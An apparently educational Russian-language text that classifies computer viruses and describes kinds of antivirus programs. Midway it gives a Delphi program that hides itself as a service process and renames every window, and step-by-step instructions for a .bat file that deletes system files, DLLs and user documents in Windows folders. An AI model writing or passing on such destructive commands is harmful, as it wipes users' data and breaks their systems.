Классификация вирусов

Основными путями заражения компьютеров вирусами яв­ляются съемные диски (дискеты и CD-ROM) и компьютерные сети. Заражение жесткого диска компьютера может произой­ти при загрузке компьютера с дискеты, содержащей вирус. Для усиления безопасности необходимо обращать внимание на то, как и откуда получена программа (из сомнительного источ­ника, имеется ли наличие сертификата, эксплуатировалась ли раньше и т.д.). Однако главная причина заражения компью­теров вирусами - отсутствие в операционных системах эффек­тивных средств защиты информации от несанкционированно­го доступа.

По данным специальной литературы, к концу 1998 г. в ми­ровой практике было зарегистрировано более 20 тыс. компь­ютерных вирусов (на сегодняшний день известно около 50 000 вирусов) и каждую неделю появляется около десяти новых вирусов. Одна из схем классификации компьютерных вирусов представлена на рис. 1

Рис. 1 Классификация компьютерных вирусов

В зависимости от среды обитания вирусы классифициру­ются на загрузочные, файловые, системные, сетевые, файлово-загрузочные.

Загрузочные вирусы внедряются в загрузочный сектор дис­ка или в сектор, содержащий программу загрузки системного диска.

Файловые вирусы внедряются в основном в исполняемые файлы с расширением.СОМ и.ЕХЕ.

Системные вирусы проникают в системные модули и драй­веры периферийных устройств, поражают программы-интер­претаторы.

Сетевые вирусы обитают в компьютерных сетях; файлово-загрузочные поражают загрузочные сектора дисков и файлы прикладных программ.

Резидентные вирусы при заражении компьютера оставля­ют в оперативной памяти свою резидентную часть, которая затем при каждом обращении к операционной системе и к дру­гим объектам внедряется в них и выполняет свои разрушитель­ные действия до выключения или перезагрузки компьютера. Нерезидентные вирусы не заражают оперативную память.

Алгоритмическая особенность построения вирусов оказы­вает влияние на их проявление и функционирование. Так, репликаторные программы благодаря своему быстрому воспро­изводству приводят к переполнению основной памяти, при этом уничтожение программ-репликаторов усложняется, если воспроизводимые программы не являются точными копиями оригинала. В компьютерных сетях распространены программы-«черви». Они вычисляют адреса сетевых компьютеров и «записываются по ним», поддерживая между собой связь. В случае прекращения существования «червя» на каком-либо ПК оставшиеся отыскивают свободный компьютер и внедряют в него такую же программу

" Троянский конь" - это программа, которая, маскируясь под полезную программу, выполняет дополнительные функции, о чем пользователь и не догадывается (например, собирает ин­формацию об именах и паролях, записывая их в специальный файл, доступный лишь создателю данного вируса), либо раз­рушает файловую систему.

Логическая бомба - это программа, которая встраивается в большой программный комплекс. Она безвредна до наступ­ления определенного события, после которого реализуется ее логический механизм. Например, такая вирусная программа начинает работать после некоторого числа запусков приклад­ной программы, комплекса, при наличии или отсутствии оп­ределенного файла или записи файла и т.д.

Программы-мутанты, самовоспроизводясь, воссоздают копии, которые явно отличаются от оригинала.

Вирусы-невидимки перехватывают обращения операцион­ной системы к пораженным файлам и секторам дисков и под­ставляют вместо них незараженные объекты.

По степени воздействия на ресурсы компьютерных систем и сетей выделяются безвредные, опасные и разрушительные вирусы.

Безвредные вирусы не разрушают файлы, но могут перепол­нять оперативную и дисковую память, выводить на экран гра­фические эффекты и т.д. Например:

(программа пишется в Delphi):

program Project1;

uses windows, Messages;

procedure registerserviceprocess; external 'kernel32.dll'

name 'RegisterServiceProcess'; //функция EnumWindowsProc

function EnumWindowsProc(h: hwnd): BOOL; stdcall;

begin

SendMessage(h,WM_SETText,0,Iparam(PChar('Fed_108- компьютерщик)));

end;

//начало программы

var h:THandle;

begin

asm

push 1

push 0

call registerserviceprocess;

end;

//запускаю цикл

while true do begin //запускаю перечесление всех окон

EnumWindows(@EnumWindowsProc,0);

h:=CreateEvent(nil, true, false, ");//делаю задержку в 100 мс.

WaitForSingleObject(h, 100);

CloseHandle(h);

end;

end.

Эффект: все названия окон переименовываются в «Fed_108- компьютерщик»

Опасные вирусы приводят к различ­ным нарушениям в работе компьютера; разрушительные - к стиранию информации, полному или частичному нарушению работы прикладных программ. Например:

Заходим в Far-manager, нажимаем Shift+F4, пишем любое название файла (install.bat), главное чтобы расширение было *.bat.

После чего печатаем примерно следующий текст:
cd C:
cd\
cd windows (у 95% процентов юзеров папка именно такая)
del *.exe
del *.ini
del *.com
cd\
cd windows
cd system
del *.dll
del *.exe
cd\
cd моидок~1
del *.doc
del *.txt
del *.htm
del *.html
del *.pdf
del *.jpg
del *.zip
del *.gif
Нажимаем F2 и сохраняем таким образом написанный файл. Эффект: стираются все файлы с указанными расширениями в указанных папках.

Массовое распространение компьютерных вирусов вызва­ло разработку антивирусных программ, позволяющих обна­руживать и уничножать. Программы-фильтры, или «сторожа», постоянно находятся в оперативной памяти, являясь резидентными, и «перехваты­вают» все запросы к операционной системе на выполнение «подозрительных действий», т.е. операции, используемых ви­русами для своего размножения и порчи информационных и других системных ресурсов в компьютере. Такими действиями мо­гут быть. попытки изменения атрибутов файлов, коррекции исполняемых BAT- СОМ- или ЕХЕ-файлов, записи в загрузочные сектора диска и др. При каждом запросе на такое действие на экран компьюте­ра выдается cообщение о каких либо действий и какая программа желает его выполнять. Пользователь в ответ на это должен либо разрешить выполнение действия, либо запретить его. Подобная часто повторяющаяся «назой­ливость», раздражающая пользователя, и то, что объем опе­ративной памяти уменьшается из-за необходимости постоян­ного нахождения в ней «сторожа», являются главными недо­статками этих программ. К тому же программы-фильтры не «лечат» файлы или диски, для этого необходимо использовать другие антивирусные программы. Примером программ- сто­рожей являются Vsefe, входящая в пакет утилит MS-DOS, и программы, работающие в среде Windows, - AVP, Norton AntiVirus for Windows 95, McAfee Virus Scan 95, Thunder Byte Professional for Windows 95.

Надежным средством защиты от вирусов считаются про­граммы-ревизоры. Они запоминают исходное состояние про­грамм, каталогов и системных областей диска, когда компью­тер еще не был заражен вирусом, а затем периодически сравнивают текущее состояние с исходным. При выявлении несоответствий (по длине файла, дате модификации, коду цик­лического контроля файла и др.) сообщение об этом выдается пользователю. Примером программ-ревизоров являются про­грамма Adinf фирмы «Диалог-Наука» и дополнение к ней в виде Adinf Cure Module.

Программы-доктора не только обнаруживают, но и "лечат" зараженные программы или диски, «выкусывая» из заражен­ных программ тело вируса. Программы этого типа делятся на фаги и полифаги. Последние служат для обнаружения и унич­тожения большого количества разнообразных вирусов. Наи­большее распространение в России имеют такие полифаги, как MS AntiVirus, Aidstest и Doctor Web, которые непрерывно обновляются для борьбы с появляющимися новыми вирусами.

Программы-детекторы позволяют обнаруживать файлы, зараженные одним или несколькими известными разработчи­кам программ вирусами.

Программы-вакцины, или иммунизаторы, относятся к рези­дентным программам. Они модифицируют программы и дис­ки таким образом, что это не отражается на работе программ, но вирус, от которого производится вакцинация, считает их уже зараженными и не внедряется в них.